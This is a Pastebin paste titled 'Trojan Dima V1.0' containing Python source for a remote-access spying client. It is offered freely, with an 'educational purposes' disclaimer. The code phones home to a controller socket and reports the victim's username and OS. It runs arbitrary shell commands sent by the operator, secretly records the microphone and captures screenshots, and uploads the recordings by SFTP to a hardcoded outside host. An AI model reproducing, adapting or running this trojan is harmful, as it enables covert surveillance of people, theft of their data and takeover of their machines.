Advertisement
Guest User

Trojan Dima V1.0

a guest
Sep 27th, 2016
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.48 KB | None | 0 0
  1. # -------------------------------------------------------------------------------------------------
  2. #
  3. # DEVELOPED BY: DMITRIY DIMCENCO
  4. # CONTACT: dumitrudimcenco@outlook.com
  5. # VERSION: 1.0.0
  6. #
  7. # -------------------------------------------------------------------------------------------------
  8. #
  9. # THIS SOFTWARE WAS DEVELOPED AND CAN ONLY BE USED WITH EDUCATIONAL PURPOSES,
  10. # THE DEVELOPER ISN'T RESPONSIBLE FOR ABUSIVE USE OF THIS SOFTWARE.
  11. # THIS SOFTWARE IS FREE OF ANY TYPE OF LICENSE AND CAN BE USED WITHOUT ANY
  12. # PRIOR CONSENTIMENT FROM THE DEVELOPER.
  13. #
  14. # -------------------------------------------------------------------------------------------------
  15. #
  16. # INFORMATIONS - INSTRUCTIONS
  17. #
  18. # SPY-TOOL V1.0.0 - CLIENT
  19. #
  20. # SYSTEM REQUIREMENTS ? :
  21. # - WINDOWS OR LINUX(UNIX)
  22. # - PYTHON (WAS DEVELOPED UNDER 2.7 VERSION)
  23. # - EXTRA PYTHON MODULES (CHECK IMPORT ZONE)
  24. #
  25. # LINK TO PYTHON DOWNLOAD - https://www.python.org/downloads/
  26. #
  27. # USAGE:
  28. # python server-spy.py
  29. #
  30. # -------------------------------------------------------------------------------------------------
  31.  
  32. import platform
  33. import getpass
  34. import pyaudio
  35. import ftplib
  36. import socket
  37. import wave
  38. import sys
  39. import wx
  40. import os
  41.  
  42. # -------------------------------------------------------------------------------------------------
  43.  
  44. os_system = platform.system() + ' ' + platform.release()
  45. username = getpass.getuser()
  46.  
  47. # -------------------------------------------------------------------------------------------------
  48.  
  49.  
  50. class FileHandler(object):
  51.     def __init__(self, file_to_send):
  52.         self.host = '192.168.1.68'
  53.         self.user_name = 'pi'
  54.         self.password = 'raspberry'
  55.         self.file_name = file_to_send
  56.  
  57.     def send(self):
  58.         import paramiko
  59.         ssh = paramiko.SSHClient()
  60.         ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  61.         ssh.connect(self.host, username=self.user_name, password=self.password)
  62.         sftp = ssh.open_sftp()
  63.         localpath = self.file_name
  64.         remotepath = '/home/pi/' + localpath
  65.         sftp.put(localpath, remotepath)
  66.         sftp.close()
  67.         ssh.close()
  68.  
  69. # -------------------------------------------------------------------------------------------------
  70.  
  71.  
  72. class Webcam(object):
  73.     @staticmethod
  74.     def take_shot():
  75.         pass
  76.  
  77. # -------------------------------------------------------------------------------------------------
  78.  
  79.  
  80. class Audio(object):
  81.     def __init__(self, seconds):
  82.         self.FORMAT = pyaudio.paInt16
  83.         self.CHANNELS = 2
  84.         self.RATE = 44100
  85.         self.CHUNK = 1024
  86.         self.file_count = 0
  87.         self.WAVE_OUTPUT_FILENAME = 'record' + str(self.file_count) + '.wav'
  88.  
  89.         while os.path.isfile(self.WAVE_OUTPUT_FILENAME):
  90.             self.file_count += 1
  91.  
  92.         self.RECORD_SECONDS = int(seconds)
  93.         self.audio = pyaudio.PyAudio()
  94.         self.file_handler = FileHandler(self.WAVE_OUTPUT_FILENAME)
  95.  
  96.     def record_mic(self):
  97.         stream = self.audio.open(format=self.FORMAT,
  98.                                  channels=self.CHANNELS,
  99.                                  rate=self.RATE,
  100.                                  input=True,
  101.                                  frames_per_buffer=self.CHUNK)
  102.  
  103.         frames = []
  104.  
  105.         for i in range(0, int(self.RATE / self.CHUNK * self.RECORD_SECONDS)):
  106.             data = stream.read(self.CHUNK)
  107.             frames.append(data)
  108.  
  109.         stream.stop_stream()
  110.         stream.close()
  111.         self.audio.terminate()
  112.  
  113.         wv = wave.open(self.WAVE_OUTPUT_FILENAME, 'wb')
  114.         wv.setnchannels(self.CHANNELS)
  115.         wv.setsampwidth(self.audio.get_sample_size(self.FORMAT))
  116.         wv.setframerate(self.RATE)
  117.         wv.writeframes(b''.join(frames))
  118.         wv.close()
  119.  
  120.         self.file_handler.send()
  121.  
  122. # -------------------------------------------------------------------------------------------------
  123.  
  124.  
  125. class Screen(object):
  126.     def __init__(self):
  127.         self.SCREENSHOT_FILENAME = 'screenshot0.png'
  128.  
  129.     def take_screenshot(self):
  130.         app = wx.App()
  131.         screen = wx.ScreenDC()
  132.         size = screen.GetSize()
  133.         bmp = wx.EmptyBitmap(size[0], size[1])
  134.         mem = wx.MemoryDC(bmp)
  135.         mem.Blit(0, 0, size[0], size[1], screen, 0, 0)
  136.         del mem
  137.         bmp.SaveFile(self.SCREENSHOT_FILENAME, wx.BITMAP_TYPE_PNG)
  138.  
  139.         file_handler = FileHandler(self.SCREENSHOT_FILENAME)
  140.         file_handler.send()
  141.  
  142. # -------------------------------------------------------------------------------------------------
  143.  
  144.  
  145. class RequestHandler(object):
  146.     def __init__(self):
  147.         self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  148.         self.host = 'localhost'
  149.         self.port = 8888
  150.  
  151.     def handle_request(self):
  152.         try:
  153.             self.client.connect((self.host, self.port))
  154.  
  155.         except socket.error, error:
  156.             print '  [-] Error - ' + str(error)
  157.             sys.exit(0)
  158.  
  159.         self.client.send('Username: ' + username + ' - OS: ' + os_system)
  160.  
  161.         while True:
  162.             option = self.client.recv(1024)
  163.  
  164.             if option == 'webcam_snap':
  165.                 webcam = Webcam()
  166.                 webcam.take_shot()
  167.                 self.client.send('  [+] Webcam shot (success)')
  168.  
  169.             elif option == 'record_mic':
  170.                 self.client.send('  Record time (seconds)')
  171.                 seconds = self.client.recv(1024)
  172.  
  173.                 audio = Audio(seconds)
  174.                 audio.record_mic()
  175.                 self.client.send('  [+] Record mic (success)')
  176.  
  177.             elif option == 'take_screenshot':
  178.                 screen = Screen()
  179.                 screen.take_screenshot()
  180.                 self.client.send('  [+] Screenshot (success)')
  181.  
  182.             elif option == 'os_cmd':
  183.                 self.client.send('OST1')
  184.  
  185.                 cmd = self.client.recv(1024)
  186.                 output = os.popen(cmd).read()
  187.                 self.client.send(output)
  188.  
  189.             elif option == 'prog_quit':
  190.                 self.client.send('prog_quit')
  191.                 self.client.shutdown(socket.SHUT_WR)
  192.                 sys.exit(0)
  193.  
  194.             else:
  195.                 self.client.send('  [-] Invalid input, try again')
  196.  
  197. # -------------------------------------------------------------------------------------------------
  198.  
  199.  
  200. def main():
  201.     req_handl = RequestHandler()
  202.     req_handl.handle_request()
  203.  
  204. if __name__ == '__main__':
  205.     main()
  206.  
  207. # -------------------------------------------------------------------------------------------------
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement